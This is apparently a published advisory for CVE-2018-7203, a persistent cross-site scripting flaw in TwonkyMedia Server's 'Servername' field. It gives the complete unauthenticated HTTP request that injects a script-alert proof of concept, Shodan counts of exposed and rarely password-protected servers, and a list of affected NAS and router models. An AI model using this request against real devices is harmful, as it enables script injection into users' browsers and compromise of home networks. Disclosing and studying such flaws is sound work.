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1. About

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# Exploit Title: TwonkyMedia Server 7.0.11-8.5 Persistent XSS
# Date: 2018-03-27
# Exploit Author: Sven Fassbender 
# Contact: https://twitter.com/mezdanak
# Vendor Homepage: http://www.lynxtechnology.com/home
# Software Link: https://twonky.com/downloads/index.html
# Version: 7.0.11-8.5
# CVE : CVE-2018-7203
# Category: webapps

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2. Background information

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"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, 
photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.

Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content 
between connected devices. Twonky Server is used worldwide and is available as a standalone server 
(end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.

Twonky Server’s web UI provides optimal capability for you to easily and reliably control and play back your 
media files in a variety of ways, and to “beam” those media files to other connected devices." --extract from https://twonky.com

Statistics:
    Around 20800 TwonkyMedia Servers public available listed on shodan.io worldwide. (https://www.shodan.io/search?query=twonky)
    Rarely protected by password (only around 2%).
    
Top Countries:
	1. United States
	2. Germany
	3. Korea
	4. Russian Federation
	5. France
	6. Italy
	7. Taiwan
	8. Poland
	9. Hungary
	10. United Kingdom

TwonkyMedia Server seems too be pre installed on a huge range of NAS devices. For example the following NAS devices:
    Thecus N2310
    Thecus N4560
    WDMyCloud, 
    MyCloudEX2Ultra, 
    WDMyCloudEX4, 
    WDMyCloudEX2100, 
    QNAP, 
    Zyxel NAS326,
    Zyxel NAS542,
    Zyxel NSA310, 
    Zyxel NSA310S,
    Zyxel NSA320,
    Zyxel NSA325-v2
    ...

Other devices:
    Belkin routers
    Zyxel EMG2926-Q10A
    ...
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3. Vulnerability description

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TwonkyMedia Server lacks of validating user input in the "Servername" input field. 
HTTP request:
	POST /rpc/set_all HTTP/1.1
	Host: 192.168.188.9:9000
	User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
	Accept: */*
	Accept-Language: de,en-US;q=0.7,en;q=0.3
	Accept-Encoding: gzip, deflate
	Referer: http://192.168.188.9:9000/webconfig
	Content-Type: application/x-www-form-urlencoded
	X-Requested-With: XMLHttpRequest
	Content-Length: 39
	Connection: close

	friendlyname=<script>alert(1)</script>

HTTP response:
	HTTP/1.1 200 OK
	Content-Type: text/html; charset=utf-8
	Content-Language: de
	Content-Length: 30
	Date: Tue, 19 Dec 2017 04:09:21 GMT
	Accept-Ranges: bytes
	Connection: close
	Expires: 0
	Pragma: no-cache
	Cache-Control: no-cache
	EXT:
	Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

	<html><body>ok</body></html>

Now if e.g. http://192.168.188.9:9000 is visited, the injected JavaScript code get's executed.

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4. Fix

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All TwonkyMedia Server versions between 7.0.11 -> 8.5 have been tested as vulnerable. 
While writing this advisory 8.5 is the latest version available:
https://twonky.com/downloads/index.html

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